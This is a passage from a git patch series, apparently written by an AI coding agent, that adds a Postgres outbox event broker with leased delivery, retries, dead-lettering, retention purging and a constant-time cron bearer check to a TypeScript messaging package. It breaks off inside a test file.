length: 160 }).notNull(), + status: varchar('status', { length: 16 }).notNull().default('pending'), + attempts: integer('attempts').notNull().default(0), + /** Sanitized and truncated by the broker — never a raw driver message. */ + lastError: text('last_error'), + nextAttemptAt: timestamp('next_attempt_at', { withTimezone: true, mode: 'string' }) + .notNull() + .defaultNow(), + lockedUntil: timestamp('locked_until', { withTimezone: true, mode: 'string' }), + createdAt: timestamp('created_at', { withTimezone: true, mode: 'string' }) + .notNull() + .defaultNow(), + updatedAt: timestamp('updated_at', { withTimezone: true, mode: 'string' }) + .notNull() + .defaultNow(), + }, + (table) => [ + primaryKey({ columns: [table.eventId, table.consumer] }), + // The claim query: due pending work for a consumer, oldest first. Partial, + // so the (large, append-only) done history never bloats the hot path. + index('event_deliveries_claim_idx') + .on(table.consumer, table.nextAttemptAt) + .where(sql`${table.status} = 'pending'`), + index('event_deliveries_dead_idx') + .on(table.consumer, table.updatedAt) + .where(sql`${table.status} = 'dead'`), + check('event_deliveries_status_check', sql`${table.status} IN ('pending', 'done', 'dead')`), + ], +); + /** * Connector grants. The token itself lives in the secret store; only an opaque * reference is kept here (docs/02 § Design notes, docs/09 § Token handling). From d46b91e427331e6d1cd478fffce76e9309ce860d Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 12:44:41 +0000 Subject: [PATCH 19/91] feat(messaging): postgres broker driver backed by a durable outbox MESSAGING_DRIVER=postgres makes cross-function events work on serverless. publish() is one idempotent INSERT into the outbox; subscribe() only registers a handler; drain() registers the consumers, fans outbox rows out to them from a per-consumer cursor (so a consumer that has never run still receives earlier events), then claims deliveries with FOR UPDATE SKIP LOCKED under a fenced lease, retries with backoff, dead-letters after MESSAGING_MAX_RETRIES, honours a time budget, and sweeps old delivered events. A narrow DrainableBroker interface leaves the memory and rabbitmq drivers untouched. Also adds the constant-time CRON_SECRET bearer check used by the drain routes, and derivedEventId() so handlers that publish follow-up events stay idempotent under at-least-once delivery. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- packages/config/src/env.ts | 2 +- packages/messaging/package.json | 9 +- packages/messaging/src/broker.ts | 37 + packages/messaging/src/drain-auth.ts | 26 + packages/messaging/src/envelope.ts | 35 +- packages/messaging/src/index.ts | 20 +- packages/messaging/src/postgres-broker.ts | 656 ++++++++++ packages/messaging/test/create-broker.test.ts | 37 + packages/messaging/test/drain-auth.test.ts | 40 + packages/messaging/test/envelope.test.ts | 62 + .../messaging/test/postgres-broker.test.ts | 1164 +++++++++++++++++ pnpm-lock.yaml | 15 + 12 files changed, 2098 insertions(+), 5 deletions(-) create mode 100644 packages/messaging/src/drain-auth.ts create mode 100644 packages/messaging/src/postgres-broker.ts create mode 100644 packages/messaging/test/create-broker.test.ts create mode 100644 packages/messaging/test/drain-auth.test.ts create mode 100644 packages/messaging/test/envelope.test.ts create mode 100644 packages/messaging/test/postgres-broker.test.ts diff --git a/packages/config/src/env.ts b/packages/config/src/env.ts index e27cf44..2946667 100644 --- a/packages/config/src/env.ts +++ b/packages/config/src/env.ts @@ -26,7 +26,7 @@ export const redisEnvSchema = z.object({ }); export const messagingEnvSchema = z.object({ - MESSAGING_DRIVER: z.enum(['memory', 'rabbitmq']).default('memory'), + MESSAGING_DRIVER: z.enum(['memory', 'rabbitmq', 'postgres']).default('memory'), RABBITMQ_URL: z.string().min(1).optional(), MESSAGING_EXCHANGE: z.string().min(1).default('atlas.events'), MESSAGING_MAX_RETRIES: z.coerce.number().int().min(0).max(20).default(5), diff --git a/packages/messaging/package.json b/packages/messaging/package.json index d5da81b..3a9cfab 100644 --- a/packages/messaging/package.json +++ b/packages/messaging/package.json @@ -7,11 +7,16 @@ ".": "./src/index.ts" }, "dependencies": { + "@atlas/db": "workspace:*", "@atlas/types": "workspace:*", "@atlas/utils": "workspace:*", - "amqplib": "^0.10.5" + "amqplib": "^0.10.5", + "drizzle-orm": "^0.45.2" }, "devDependencies": { - "@types/amqplib": "^0.10.6" + "@atlas/auth-kit": "workspace:*", + "@atlas/storage": "workspace:*", + "@types/amqplib": "^0.10.6", + "jose": "^6.2.12" } } diff --git a/packages/messaging/src/broker.ts b/packages/messaging/src/broker.ts index 55b22d0..9bf49e8 100644 --- a/packages/messaging/src/broker.ts +++ b/packages/messaging/src/broker.ts @@ -37,6 +37,43 @@ export interface Subscription { stop: () => Promise; } +export interface DrainOptions { + /** Most deliveries (processed + failed + dead) to attempt in one call. */ + limit?: number; + /** + * Wall-clock budget for the whole drain. It is checked between deliveries, + * so a handler that is already running is allowed to finish; size it with + * headroom under the function's max duration. + */ + budgetMs?: number; +} + +export interface DrainResult { + /** Handler succeeded (or the delivery had already been recorded as processed). */ + processed: number; + /** Handler threw and the delivery was rescheduled with backoff. */ + failed: number; + /** Handler threw with no retries left; the delivery was dead-lettered. */ + dead: number; + /** Old, fully delivered events removed by the opportunistic retention sweep. */ + purged: number; +} + +/** + * A broker with no resident consumer loop: `subscribe` only registers a + * handler, and queued deliveries run when something calls `drain` (a Vercel + * Cron hitting the service's /internal/drain route). Kept as a narrow + * interface beside `EventBroker` so the memory and rabbitmq drivers are + * untouched; use `isDrainableBroker` to narrow at runtime. + */ +export interface DrainableBroker extends EventBroker { + drain(options?: DrainOptions): Promise; +} + +export function isDrainableBroker(broker: EventBroker): broker is DrainableBroker { + return typeof (broker as Partial).drain === 'function'; +} + /** A message that exhausted its retries. Surfaced for DLQ inspection. */ export interface DeadLetter { envelope: EventEnvelope; diff --git a/packages/messaging/src/drain-auth.ts b/packages/messaging/src/drain-auth.ts new file mode 100644 index 0000000..3d9ef96 --- /dev/null +++ b/packages/messaging/src/drain-auth.ts @@ -0,0 +1,26 @@ +import { createHash, timingSafeEqual } from 'node:crypto'; + +function digest(value: string): Buffer { + return createHash('sha256').update(value, 'utf8').digest(); +} + +/** + * Checks an `Authorization: Bearer ` header against the configured + * `CRON_SECRET`, which is exactly what Vercel Cron sends when that variable + * is set on the project. + * + * Both sides are hashed first, so the comparison is over two fixed-length + * buffers: constant time, and no length oracle for the secret. A missing or + * non-Bearer header is compared as the empty string rather than returning + * early, so every rejection takes the same path. + */ +export function isAuthorizedDrainRequest( + authorization: string | undefined, + secret: string, +): boolean { + if (secret === '') return false; + const match = /^Bearer\s+(\S+)\s*$/i.exec(authorization ?? ''); + const presented = match?.[1] ?? ''; + const equal = timingSafeEqual(digest(presented), digest(secret)); + return equal && match !== null; +} diff --git a/packages/messaging/src/envelope.ts b/packages/messaging/src/envelope.ts index 314d12b..2c0e4ad 100644 --- a/packages/messaging/src/envelope.ts +++ b/packages/messaging/src/envelope.ts @@ -1,3 +1,4 @@ +import { createHash } from 'node:crypto'; import type { EventEnvelope, EventPayloadMap, EventType, TraceContext } from '@atlas/types'; import { eventPayloadSchema } from '@atlas/types'; import { newUuid } from '@atlas/utils'; @@ -6,19 +7,24 @@ import { newUuid } from '@atlas/utils'; * Builds a validated envelope. `event_id` doubles as the consumer-side * idempotency key, so republishing the same envelope is always safe * (docs/06 § Processing rules). + * + * A consumer that publishes follow-up events should pass `derivedEventId(...)` + * as `eventId`: delivery is at-least-once, and a handler that runs again would + * otherwise publish its follow-ups again under fresh ids. */ export function createEvent( eventType: K, payload: EventPayloadMap[K], trace: TraceContext, occurredAt: string = new Date().toISOString(), + eventId: string = newUuid(), ): EventEnvelope { // Validate at construction: a malformed event is a bug in the producer, and // finding it at publish time beats finding it in a consumer's DLQ. eventPayloadSchema(eventType).parse(payload); return { - event_id: newUuid(), + event_id: eventId, event_type: eventType, occurred_at: occurredAt, trace, @@ -26,6 +32,33 @@ export function createEvent( }; } +/** Fixed namespace for `derivedEventId`; any constant works, it only has to never change. */ +const DERIVED_EVENT_NAMESPACE = Buffer.from('6f1d0c3ae2b94d7f8a5c9e04b7d31a62', 'hex'); + +/** + * A deterministic UUID (version 5 layout) for an event a handler publishes + * while processing `parentEventId`. `key` tells apart the several events one + * handler can emit for one parent, e.g. `job.scored::`. The + * same parent and key always give the same id, so a redelivered parent event + * re-publishes the very same envelopes, which the outbox drops as duplicates. + */ +export function derivedEventId(parentEventId: string, key: string): string { + const hash = createHash('sha1') + .update(DERIVED_EVENT_NAMESPACE) + .update(`${parentEventId}:${key}`, 'utf8') + .digest(); + hash[6] = ((hash[6] ?? 0) & 0x0f) | 0x50; + hash[8] = ((hash[8] ?? 0) & 0x3f) | 0x80; + const hex = hash.subarray(0, 16).toString('hex'); + return [ + hex.slice(0, 8), + hex.slice(8, 12), + hex.slice(12, 16), + hex.slice(16, 20), + hex.slice(20), + ].join('-'); +} + /** RabbitMQ routing key for an event type. `job.discovered` → `job.discovered`. */ export function routingKeyFor(eventType: EventType): string { return eventType; diff --git a/packages/messaging/src/index.ts b/packages/messaging/src/index.ts index b7ab654..46114bd 100644 --- a/packages/messaging/src/index.ts +++ b/packages/messaging/src/index.ts @@ -1,18 +1,25 @@ +import type { Database } from '@atlas/db'; import type { Logger } from '@atlas/utils'; import type { EventBroker } from './broker.js'; import { MemoryBroker } from './memory-broker.js'; +import { PostgresBroker } from './postgres-broker.js'; import { RabbitMqBroker } from './rabbitmq-broker.js'; export * from './broker.js'; +export * from './drain-auth.js'; export * from './envelope.js'; export { MemoryBroker } from './memory-broker.js'; +export { PostgresBroker, sanitizeError } from './postgres-broker.js'; +export type { PostgresBrokerOptions, PurgeOptions } from './postgres-broker.js'; export { RabbitMqBroker } from './rabbitmq-broker.js'; export interface BrokerFactoryOptions { - driver: 'memory' | 'rabbitmq'; + driver: 'memory' | 'rabbitmq' | 'postgres'; url?: string | undefined; exchange?: string | undefined; maxRetries?: number | undefined; + /** The service's own database handle. Required for (and only used by) `postgres`. */ + db?: Database | undefined; logger: Logger; } @@ -22,6 +29,17 @@ export function createBroker(options: BrokerFactoryOptions): EventBroker { return new MemoryBroker({ defaultMaxRetries: options.maxRetries ?? 3 }); } + if (options.driver === 'postgres') { + if (options.db === undefined) { + throw new Error('A database handle is required when MESSAGING_DRIVER=postgres'); + } + return new PostgresBroker({ + db: options.db, + logger: options.logger, + ...(options.maxRetries === undefined ? {} : { defaultMaxRetries: options.maxRetries }), + }); + } + if (options.url === undefined || options.url === '') { throw new Error('RABBITMQ_URL is required when MESSAGING_DRIVER=rabbitmq'); } diff --git a/packages/messaging/src/postgres-broker.ts b/packages/messaging/src/postgres-broker.ts new file mode 100644 index 0000000..d5dfcf5 --- /dev/null +++ b/packages/messaging/src/postgres-broker.ts @@ -0,0 +1,656 @@ +import { and, eq, sql, type SQL } from 'drizzle-orm'; +import { schema, type Database } from '@atlas/db'; +import { parseEvent, type EventEnvelope } from '@atlas/types'; +import { backoffDelayMs, type Logger } from '@atlas/utils'; +import type { + ConsumeContext, + DeadLetter, + DrainableBroker, + DrainOptions, + DrainResult, + SubscribeOptions, + Subscription, +} from './broker.js'; + +export interface PostgresBrokerOptions { + /** The service's own handle; the outbox lives in the shared Postgres. */ + db: Database; + logger: Logger; + /** Retries after the first attempt (MESSAGING_MAX_RETRIES). Default 5. */ + defaultMaxRetries?: number; + /** + * How long a claimed delivery stays invisible to other drains. It must + * exceed the longest a handler can run (Vercel's max duration is 30s), or a + * slow handler would be run twice. A drain that crashes holds the delivery + * for at most this long. Default 90s. + */ + leaseMs?: number; + /** + * Assumed upper bound on how long a publish transaction can stay open. A + * row can become visible after a drain already scanned past its position; + * the overlap re-scans the trailing window so such a row is still picked up + * (see `fanOut`). `publish` is a single autocommit INSERT, so milliseconds + * is the real figure and the default of 60s is a wide margin. + */ + visibilityOverlapMs?: number; + /** + * Delivered events older than this are removed at the end of a drain. + * 0 disables the sweep (call `purge` yourself). Default 7 days — which is + * also how long a consumer can be undeployed and still receive everything + * published in the meantime. + */ + retentionMs?: number; + /** Backoff before retry number `retry` (0-based), in ms. Injectable for tests. */ + backoffMs?: (retry: number) => number; + onDeadLetter?: (letter: DeadLetter) => void; +} + +export interface PurgeOptions { + /** Also remove events whose delivery to some consumer was dead-lettered. */ + includeDead?: boolean; + /** Most events removed per call. Default 500. */ + limit?: number; +} + +const EPOCH = '1970-01-01T00:00:00Z'; +const NIL_UUID = '00000000-0000-0000-0000-000000000000'; + +const DEFAULT_MAX_RETRIES = 5; +const DEFAULT_LEASE_MS = 90_000; +const DEFAULT_VISIBILITY_OVERLAP_MS = 60_000; +const DEFAULT_RETENTION_MS = 7 * 24 * 60 * 60 * 1000; +const DEFAULT_DRAIN_LIMIT = 100; +const DEFAULT_DRAIN_BUDGET_MS = 20_000; +const FAN_OUT_BATCH = 500; +const DEFAULT_PURGE_LIMIT = 500; +const MAX_ERROR_LENGTH = 300; +/** Matches `varchar(160)` on `event_deliveries.consumer`. */ +const MAX_CONSUMER_LENGTH = 160; + +interface ConsumerState { + /** Rows older than this are guaranteed to have a delivery for the consumer. */ + materializedThrough: string; + /** Database clock at registration; every later statement runs after it. */ + snapshotAt: string; +} + +interface ClaimedRow extends Record { + consumer: string; + attempts: number; + event_id: string; + event_type: string; + occurred_at: string; + trace_id: string; + correlation_id: string; + organization_id: string | null; + user_id: string | null; + payload: unknown; +} + +type Outcome = 'processed' | 'failed' | 'dead'; + +function inList(values: readonly string[]): SQL { + return sql.join( + values.map((value) => sql`${value}`), + sql`, `, + ); +} + +/** + * One-line, bounded description of a failure that is safe to persist and to + * show on a dashboard. drizzle wraps driver errors as `Failed query: + * params: `, and the bound values can be user data, so the underlying + * cause is described instead; credentials, tokens and e-mail addresses that + * still turn up in a message are masked. + */ +export function sanitizeError(error: unknown): string { + let described: string; + if (error instanceof Error) { + const inner = + error.message.startsWith('Failed query') && error.cause instanceof Error + ? error.cause + : error; + described = `${inner.name}: ${inner.message}`; + } else { + described = String(error); + } + + return ( + (described.split('\n')[0] ?? '') + .replace(/[a-z][a-z0-9+.-]*:\/\/[^\s/@]+@\S+/gi, '[url]') + .replace(/\beyJ[\w-]+\.[\w-]+\.[\w-]*/g, '[token]') + .replace(/[\w.+-]+@[\w-]+(?:\.[\w-]+)+/g, '[email]') + // eslint-disable-next-line no-control-regex + .replace(/[\u0000-\u001f\u007f]/g, ' ') + .trim() + .slice(0, MAX_ERROR_LENGTH) + ); +} + +/** + * Event bus on a durable outbox in the shared Postgres, for serverless + * deployments where no process stays alive to hold a consumer loop and the + * in-memory driver's handlers only exist inside the publishing function. + * + * - `publish` is one INSERT (idempotent on `event_id`); once it returns the + * event is committed. It needs no long-lived connection. + * - `subscribe` only registers the handler in this process. Nothing is + * delivered until something calls `drain`, which every consumer service + * exposes as `/internal/drain` for Vercel Cron. + * - Fan-out happens at drain time, not publish time. A consumer's first drain + * registers it in `event_consumers` with a cursor at the epoch and creates + * deliveries for everything still in the outbox, so an event published + * before its consumer service had ever run is not lost — only an event that + * outlives the retention window without any drain is. + * - Delivery is at-least-once: a handler can run again after a crash or an + * expired lease, so handlers must be idempotent (docs/06). + */ +export class PostgresBroker implements DrainableBroker { + private readonly db: Database; + private readonly logger: Logger; + private readonly defaultMaxRetries: number; + private readonly leaseMs: number; + private readonly visibilityOverlapMs: number; + private readonly retentionMs: number; + private readonly backoffMs: (retry: number) => number; + private readonly onDeadLetter: ((letter: DeadLetter) => void) | undefined; + private readonly registrations = new Map(); + private closed = false; + + constructor(options: PostgresBrokerOptions) { + this.db = options.db; + this.logger = options.logger; + this.defaultMaxRetries = options.defaultMaxRetries ?? DEFAULT_MAX_RETRIES; + this.leaseMs = options.leaseMs ?? DEFAULT_LEASE_MS; + this.visibilityOverlapMs = options.visibilityOverlapMs ?? DEFAULT_VISIBILITY_OVERLAP_MS; + this.retentionMs = options.retentionMs ?? DEFAULT_RETENTION_MS; + this.backoffMs = options.backoffMs ?? ((retry) => backoffDelayMs(retry)); + this.onDeadLetter = options.onDeadLetter; + } + + async publish(envelope: EventEnvelope): Promise { + this.assertOpen(); + // A malformed event is a producer bug; failing here beats a dead letter. + const event = parseEvent(envelope); + + await this.db + .insert(schema.eventOutbox) + .values({ + eventId: event.event_id, + eventType: event.event_type, + occurredAt: event.occurred_at, + traceId: event.trace.trace_id, + correlationId: event.trace.correlation_id, + organizationId: event.trace.organization_id, + userId: event.trace.user_id, + payload: event.payload as Record, + }) + .onConflictDoNothing({ target: schema.eventOutbox.eventId }); + } + + async subscribe(options: SubscribeOptions): Promise { + this.assertOpen(); + if (this.registrations.has(options.consumer)) { + throw new Error(`Consumer "${options.consumer}" is already subscribed`); + } + if (options.consumer.length === 0 || options.consumer.length > MAX_CONSUMER_LENGTH) { + throw new Error(`Consumer name must be 1-${MAX_CONSUMER_LENGTH} characters`); + } + if (options.eventTypes.length === 0) { + throw new Error(`Consumer "${options.consumer}" must subscribe to at least one event type`); + } + + this.registrations.set(options.consumer, options); + return { + consumer: options.consumer, + stop: async () => { + this.registrations.delete(options.consumer); + }, + }; + } + + /** + * Delivers due events to the handlers registered on this instance: + * registers the consumers, fans new outbox rows out to them, then claims + * and runs deliveries one at a time until `limit` deliveries have been + * attempted, `budgetMs` has elapsed, or nothing is due. Safe to run + * concurrently from any number of instances — a delivery is claimed with + * `FOR UPDATE SKIP LOCKED` and leased, so exactly one drain runs it. + */ + async drain(options: DrainOptions = {}): Promise { + this.assertOpen(); + const limit = options.limit ?? DEFAULT_DRAIN_LIMIT; + const budgetMs = options.budgetMs ?? DEFAULT_DRAIN_BUDGET_MS; + const startedAt = performance.now(); + const outOfTime = (): boolean => performance.now() - startedAt >= budgetMs; + + const result: DrainResult = { processed: 0, failed: 0, dead: 0, purged: 0 }; + const registrations = [...this.registrations.values()]; + if (registrations.length === 0) return result; + + const states = await this.registerConsumers(registrations); + for (const registration of registrations) { + if (outOfTime()) break; + const state = states.get(registration.consumer); + if (state !== undefined) await this.fanOut(registration, state, outOfTime); + } + + const byName = new Map( + registrations.map((registration) => [registration.consumer, registration]), + ); + const names = [...byName.keys()]; + while (result.processed + result.failed + result.dead < limit && !outOfTime()) { + const claimed = await this.claimNext(names); + if (claimed === null) break; + const registration = byName.get(claimed.consumer); + if (registration === undefined) break; + result[await this.deliver(registration, claimed)] += 1; + } + + if (this.retentionMs > 0 && !outOfTime()) { + result.purged = await this.purge(new Date(Date.now() - this.retentionMs)); + } + return result; + } + + /** + * Removes outbox events (and, by cascade, their delivery rows) created + * before `olderThan`, in batches. An event is kept while any delivery is + * still `pending` (including a retry that is backing off), while a + * registered consumer subscribed to its type has no delivery for it yet and + * has not been fanned out past it (so it could still be owed the event), + * and — unless `includeDead` — while any delivery is `dead`. Returns the + * number of events removed. + * + * A consumer that is registered but permanently gone keeps its types from + * being purged; remove its `event_consumers` row when decommissioning it. + */ + async purge(olderThan: Date | string, options: PurgeOptions = {}): Promise { + this.assertOpen(); + const cutoff = typeof olderThan === 'string' ? olderThan : olderThan.toISOString(); + const rows = await this.db.execute(sql` + WITH doomed AS ( + SELECT o.event_id + FROM event_outbox o + WHERE o.created_at < ${cutoff}::timestamptz + AND NOT EXISTS ( + SELECT 1 FROM event_deliveries d + WHERE d.event_id = o.event_id + AND (d.status = 'pending' OR (d.status = 'dead' AND NOT ${options.includeDead === true}::boolean)) + ) + AND NOT EXISTS ( + SELECT 1 FROM event_consumers c + WHERE o.event_type = ANY (c.event_types) + AND c.materialized_through <= o.created_at + AND NOT EXISTS ( + SELECT 1 FROM event_deliveries d2 WHERE d2.event_id = o.event_id AND d2.consumer = c.consumer + ) + ) + ORDER BY o.created_at + LIMIT ${options.limit ?? DEFAULT_PURGE_LIMIT} + FOR UPDATE OF o SKIP LOCKED + ) + DELETE FROM event_outbox WHERE event_id IN (SELECT event_id FROM doomed) + RETURNING event_id + `); + return rows.length; + } + + isHealthy(): boolean { + return !this.closed; + } + + async close(): Promise { + // The database handle belongs to the service that created it. + this.closed = true; + this.registrations.clear(); + } + + private assertOpen(): void { + if (this.closed) throw new Error('PostgresBroker is closed'); + } + + /** + * Upserts this instance's consumers. A consumer new to the table starts at + * the epoch (so it receives the whole retained history); one that has since + * subscribed to an event type it did not have before is rewound to the epoch + * too, which is harmless for the types it already had because delivery rows + * are unique per (event, consumer). + */ + private async registerConsumers( + registrations: SubscribeOptions[], + ): Promise> { + const table = schema.eventConsumers; + const rows = await this.db + .insert(table) + .values( + registrations.map((registration) => ({ + consumer: registration.consumer, + eventTypes: [...registration.eventTypes], + })), + ) + .onConflictDoUpdate({ + target: table.consumer, + set: { + materializedThrough: sql`CASE WHEN ${table.eventTypes} @> excluded.event_types THEN ${table.materializedThrough} ELSE ${EPOCH}::timestamptz END`, + eventTypes: sql`excluded.event_types`, + }, + }) + .returning({ + consumer: table.consumer, + materializedThrough: sql`${table.materializedThrough}::text`, + snapshotAt: sql`now()::text`, + }); + + return new Map( + rows.map((row) => [ + row.consumer, + { materializedThrough: row.materializedThrough, snapshotAt: row.snapshotAt }, + ]), + ); + } + + /** + * Creates a `pending` delivery for `registration` for every outbox row of + * its types at or after `state.materializedThrough`, in (created_at, + * event_id) order and in bounded batches, then advances the cursor. + * + * Why the cursor trails the clock. `created_at` is the transaction start, a + * row only becomes visible when it commits, and the scan reads whatever is + * visible now. A row that commits after this scan therefore must not fall + * behind the cursor, or it would never be delivered. A row invisible to a + * statement that ran at time T committed after T, so its `created_at` is + * later than T minus the longest publish transaction. The cursor is held at + * T minus `visibilityOverlapMs` (and never past the last row scanned if the + * pass was cut short), and the overlap window is simply scanned again next + * time; `ON CONFLICT DO NOTHING` makes the repeat free of side effects. + */ + private async fanOut( + registration: SubscribeOptions, + state: ConsumerState, + outOfTime: () => boolean, + ): Promise { + let afterCreatedAt = state.materializedThrough; + let afterEventId = NIL_UUID; + let lastScannedAt: string | null = null; + let complete = false; + + while (!outOfTime()) { + const batch = await this.db.execute<{ event_id: string; created_at: string }>(sql` + WITH batch AS ( + SELECT event_id, created_at + FROM event_outbox + WHERE event_type IN (${inList(registration.eventTypes)}) + AND (created_at, event_id) > (${afterCreatedAt}::timestamptz, ${afterEventId}::uuid) + ORDER BY created_at, event_id + LIMIT ${FAN_OUT_BATCH} + ), inserted AS ( + INSERT INTO event_deliveries (event_id, consumer, next_attempt_at) + SELECT event_id, ${registration.consumer}::varchar, now() FROM batch + ON CONFLICT (event_id, consumer) DO NOTHING + ) + SELECT event_id, created_at::text AS created_at FROM batch ORDER BY created_at, event_id + `); + + const last = batch[batch.length - 1]; + if (last !== undefined) { + afterCreatedAt = last.created_at; + afterEventId = last.event_id; + lastScannedAt = last.created_at; + } + if (batch.length < FAN_OUT_BATCH) { + complete = true; + break; + } + } + + const bound = complete ? 'infinity' : (lastScannedAt ?? state.materializedThrough); + await this.db.execute(sql` + UPDATE event_consumers + SET materialized_through = GREATEST( + materialized_through, + LEAST( + ${state.snapshotAt}::timestamptz - make_interval(secs => ${this.visibilityOverlapMs / 1000}::double precision), + ${bound}::timestamptz + ) + ), + last_drained_at = now() + WHERE consumer = ${registration.consumer} + `); + } + + /** + * Leases the oldest due delivery of any of `consumers`. `SKIP LOCKED` makes + * concurrent claimers pass over each other's rows instead of waiting; the + * lease (`locked_until`) then keeps the row claimed after this statement's + * row lock is gone, while the handler runs outside any transaction. + * `attempts` is bumped here, so a delivery that keeps crashing its drain + * still runs out of retries. + */ + private async claimNext(consumers: string[]): Promise { + const rows = await this.db.execute(sql` + WITH picked AS ( + SELECT event_id, consumer + FROM event_deliveries + WHERE consumer IN (${inList(consumers)}) + AND status = 'pending' + AND next_attempt_at <= now() + AND (locked_until IS NULL OR locked_until <= now()) + ORDER BY next_attempt_at, created_at + LIMIT 1 + FOR UPDATE SKIP LOCKED + ), claimed AS ( + UPDATE event_deliveries d + SET attempts = d.attempts + 1, + locked_until = now() + make_interval(secs => ${this.leaseMs / 1000}::double precision), + updated_at = now() + FROM picked + WHERE d.event_id = picked.event_id AND d.consumer = picked.consumer + RETURNING d.event_id, d.consumer, d.attempts + ) + SELECT c.consumer, + c.attempts, + o.event_id, + o.event_type, + to_char(o.occurred_at AT TIME ZONE 'UTC', 'YYYY-MM-DD"T"HH24:MI:SS.MS"Z"') AS occurred_at, + o.trace_id, + o.correlation_id, + o.organization_id, + o.user_id, + o.payload + FROM claimed c + JOIN event_outbox o ON o.event_id = c.event_id + `); + return rows[0] ?? null; + } + + private async deliver(registration: SubscribeOptions, claimed: ClaimedRow): Promise { + let envelope: EventEnvelope; + try { + envelope = parseEvent({ + event_id: claimed.event_id, + event_type: claimed.event_type, + occurred_at: claimed.occurred_at, + trace: { + trace_id: claimed.trace_id, + correlation_id: claimed.correlation_id, + organization_id: claimed.organization_id, + user_id: claimed.user_id, + }, + payload: claimed.payload, + }); + } catch (error) { + // An envelope that does not parse cannot succeed on retry. + this.logger.error( + { consumer: claimed.consumer, event_id: claimed.event_id }, + 'dead-lettering unparseable outbox event', + ); + return this.settle(claimed, 'dead', `unparseable envelope: ${sanitizeError(error)}`); + } + + // A handler failure is recorded before the next attempt can start, so + // reaching here with more attempts than the budget allows means earlier + // attempts never reported back: the function was killed (timeout, OOM) while + // running this very event. Do not run it again, or a poison event would + // crash its drain every time the lease expires. + if (claimed.attempts - 1 > this.maxRetriesFor(registration)) { + return this.bury( + claimed, + envelope, + 'retries exhausted: earlier attempts never reported back (the function timed out or crashed)', + ); + } + + try { + // processed_events is the cross-driver record of "this consumer handled + // this event"; honour it so a replayed or re-materialized delivery of + // something already handled does not run its side effects again. + if (await this.alreadyProcessed(claimed)) { + return await this.complete(claimed); + } + } catch (error) { + return this.retryOrBury(registration, claimed, envelope, error); + } + + const context: ConsumeContext = { attempt: claimed.attempts - 1, trace: envelope.trace }; + try { + await registration.handler(envelope, context); + } catch (error) { + return this.retryOrBury(registration, claimed, envelope, error); + } + + return this.complete(claimed); + } + + private async alreadyProcessed(claimed: ClaimedRow): Promise { + const [row] = await this.db + .select({ eventId: schema.processedEvents.eventId }) + .from(schema.processedEvents) + .where( + and( + eq(schema.processedEvents.eventId, claimed.event_id), + eq(schema.processedEvents.consumer, claimed.consumer), + ), + ) + .limit(1); + return row !== undefined; + } + + /** + * Records success: the `processed_events` row (idempotent — analytics + * writes its own inside its handler, in the same transaction as its side + * effect) and `done`, atomically. The update is fenced on `attempts`, so a + * drain whose lease expired mid-handler cannot overwrite the state written + * by whoever claimed the delivery next. + */ + private async complete(claimed: ClaimedRow): Promise { + try { + const updated = await this.db.transaction(async (tx) => { + await tx + .insert(schema.processedEvents) + .values({ eventId: claimed.event_id, consumer: claimed.consumer }) + .onConflictDoNothing(); + return tx + .update(schema.eventDeliveries) + .set({ status: 'done', lockedUntil: null, lastError: null, updatedAt: sql`now()` }) + .where(this.fence(claimed)) + .returning({ eventId: schema.eventDeliveries.eventId }); + }); + if (updated.length === 0) { + this.logger.warn( + { consumer: claimed.consumer, event_id: claimed.event_id }, + 'delivery lease expired before completion; another drain owns it now', + ); + } + return 'processed'; + } catch (error) { + // The handler succeeded but its completion could not be recorded. The + // lease expires and the delivery runs again — the at-least-once case. + this.logger.error( + { err: error, consumer: claimed.consumer, event_id: claimed.event_id }, + 'failed to record a successful delivery', + ); + return 'failed'; + } + } + + private async retryOrBury( + registration: SubscribeOptions, + claimed: ClaimedRow, + envelope: EventEnvelope, + error: unknown, + ): Promise { + const retry = claimed.attempts - 1; + const description = sanitizeError(error); + + if (retry < this.maxRetriesFor(registration)) { + return this.settle(claimed, 'failed', description, this.backoffMs(retry)); + } + return this.bury(claimed, envelope, description); + } + + private maxRetriesFor(registration: SubscribeOptions): number { + return registration.maxRetries ?? this.defaultMaxRetries; + } + + private async bury( + claimed: ClaimedRow, + envelope: EventEnvelope, + description: string, + ): Promise { + this.logger.error( + { consumer: claimed.consumer, event_id: claimed.event_id, attempts: claimed.attempts }, + 'dead-lettering event after exhausting retries', + ); + const outcome = await this.settle(claimed, 'dead', description); + try { + this.onDeadLetter?.({ + envelope, + consumer: claimed.consumer, + attempts: claimed.attempts, + error: description, + deadLetteredAt: new Date().toISOString(), + }); + } catch (callbackError) { + this.logger.error({ err: callbackError }, 'onDeadLetter callback threw'); + } + return outcome; + } + + /** Writes a failure: back to `pending` after `delayMs`, or `dead`. */ + private async settle( + claimed: ClaimedRow, + outcome: 'failed' | 'dead', + description: string, + delayMs = 0, + ): Promise { + try { + await this.db + .update(schema.eventDeliveries) + .set({ + status: outcome === 'dead' ? 'dead' : 'pending', + lastError: description, + lockedUntil: null, + nextAttemptAt: sql`now() + make_interval(secs => ${delayMs / 1000}::double precision)`, + updatedAt: sql`now()`, + }) + .where(this.fence(claimed)); + } catch (error) { + // The lease will lapse and the delivery will be claimed again. + this.logger.error( + { err: error, consumer: claimed.consumer, event_id: claimed.event_id }, + 'failed to record a failed delivery', + ); + } + return outcome; + } + + private fence(claimed: ClaimedRow): SQL | undefined { + return and( + eq(schema.eventDeliveries.eventId, claimed.event_id), + eq(schema.eventDeliveries.consumer, claimed.consumer), + eq(schema.eventDeliveries.attempts, claimed.attempts), + eq(schema.eventDeliveries.status, 'pending'), + ); + } +} diff --git a/packages/messaging/test/create-broker.test.ts b/packages/messaging/test/create-broker.test.ts new file mode 100644 index 0000000..797721b --- /dev/null +++ b/packages/messaging/test/create-broker.test.ts @@ -0,0 +1,37 @@ +import { describe, expect, it } from 'vitest'; +import { createDatabase } from '@atlas/db'; +import { createSilentLogger } from '@atlas/utils'; +import { createBroker, isDrainableBroker, MemoryBroker, PostgresBroker } from '../src/index.js'; + +const logger = createSilentLogger(); + +describe('createBroker', () => { + it('keeps memory as the in-process default and does not make it drainable', () => { + const broker = createBroker({ driver: 'memory', logger }); + expect(broker).toBeInstanceOf(MemoryBroker); + expect(isDrainableBroker(broker)).toBe(false); + }); + + it('requires a database handle for the postgres driver', () => { + expect(() => createBroker({ driver: 'postgres', logger })).toThrow( + /database handle is required/, + ); + }); + + it('builds a drainable postgres broker from the service database handle', () => 